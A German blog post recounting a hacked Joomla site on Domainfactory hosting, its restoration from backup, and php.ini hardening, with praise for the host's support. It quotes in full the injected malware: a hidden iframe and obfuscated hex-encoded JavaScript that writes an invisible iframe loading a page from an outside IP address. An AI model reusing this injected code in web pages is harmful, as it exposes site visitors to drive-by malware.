Domainfactory mit tollem Service und register_globals off

Samstag mittag, ein ruhiges Wochenende ist geplant. Da finde ich eine eMail von einem meiner Monitoring-Systeme: Die Seite eines Kunden ist nicht erreichbar. Die englischsprachige Startseite des internationalen Unternehmens zeigt nur eine Fehlermeldung. PHP-Fehler der index-Datei. Aber wieso? Ein Blick per FTP zeigt: Sämtliche index.php und index.html-Dateien in jedem Ordner der Joomla!-Installation wurden verändert. In der Nacht von Freitag auf Samstag gegen 5 Uhr 25. Ein Hack?

Ein Ticket an den Webhosting-Provider Domainfactory bringt kein Licht in diese Angelegenheit. Der Supporter – der nach genau 17 Minuten schriftlich antwortet – kann weder in den Logdateien einen Angriff noch eine PHP Shell oder ähnliches auf dem Webspace erkennen. Was ich finde, mutet seltsam an: Ein iFrame ohne funktionierende URL:

<iframe src=’http://url‘ width=’1′ height=’1′ style=’visibility: hidden;‘></iframe><script>function v475a2a5f5303e(v475a2a5f5380d){ var v475a2a5f53fdd=16; return(parseInt(v475a2a5f5380d,v475a2a5f53fdd));}function v475a2a5f54f80(v475a2a5f55751){ function v475a2a5f56ebd () {return 2;} var v475a2a5f55f1d=“;for(v475a2a5f566ed=0; v475a2a5f566ed<v475a2a5f55751.length; v475a2a5f566ed+=v475a2a5f56ebd()){ v475a2a5f55f1d+=(String.fromCharCode(v475a2a5f5303e(v475a2a5f55751
.substr(v475a2a5f566ed, v475a2a5f56ebd()))));}return v475a2a5f55f1d;} document.write(v475a2a5f54f80(‚3C5343524950543E77696E646F772E737
4617475733D27446F6E65273B646F63756D656E742E777269746528273C6
96672616D65206E616D653D6434336231306236207372633D5C276874747
03A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C
3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3132
30393630292B2733333563363031665C272077696474683D333738206865
696768743D333230207374796C653D5C27646973706C61793A206E6F6E65
5C273E3C2F696672616D653E27293C2F5343524950543E‘));</script>

Woher dieser Code kommt, ist nicht nachvollziehbar. Aber er muss weg. Und eine Wiederholung sollte ausgeschlossen werden.

Nun wäre es möglich, jede index-Datei durch die Backups auf meinem Rechner einzeln zu ersetzen. Aufwändig. Glücklicherweise bietet domainfactory – wenn auch etwas versteckt – im Vertragscenter des Kundenmenüs die Möglichkeit an, ein Einspielen des Backups vorzunehmen. Für 11 Euro inkl. Mehrwertsteuer, wahlweise nur die Dateien auf dem Server oder auch mit Datenbank, Postfächern etc. Ich wähle die Version mit Datenbank und ca. zehn Minuten später ist die Seite wieder komplett erreichbar.

Jetzt noch den Server besser absichern. Was ich bislang nicht wusste: Es ist möglich, bei Domainfactory die php.ini zu bearbeiten. Genial. Ich erinnere mich an längst vergangene Root-Server-Zeiten und nehme ein paar Einstellungen vor:

allow_url_fopen OFF
register_globals OFF

Eine solche Funktion bietet kein anderer Provider, bei dem ich bin: Weder 1&1, noch all-inkl.de – wobei der Server bei all-inkl gar nicht erst über diese Sicherheitslücke verfügt.

Fazit dieses Samstagmittags:

• Problem gelöst,
• Sicherheit erhöht,
• bei zwei (kostenlosen!) Anrufen innerhalb von fünf Sekunden einen Ansprechpartner erreicht, der mir freundlich weiter geholfen hat
• auf zwei eMails innerhalb von ca. einer Viertelstunde kompetente und lösungsorientierte Antworten erhalten

Domainfactory, das war super! Wenn jetzt noch das wwwrun-Problem bei euch beseitigt werden könnte (kläre ich als nächstes, vielleicht findet sich ja auch hierzu eine positive Ãœberraschung versteckt im Kundenmenü), seid ihr künftig meine erste Wahl bei der Installation von Content Management Systemen. Denn hinsichtlich Service könnt ihr dann mit all-inkl.de mithalten (die allerdings Backups bislang kostenfrei einspielten), bei denen aber ebenfalls nur noch das wwwrun-Problem stört.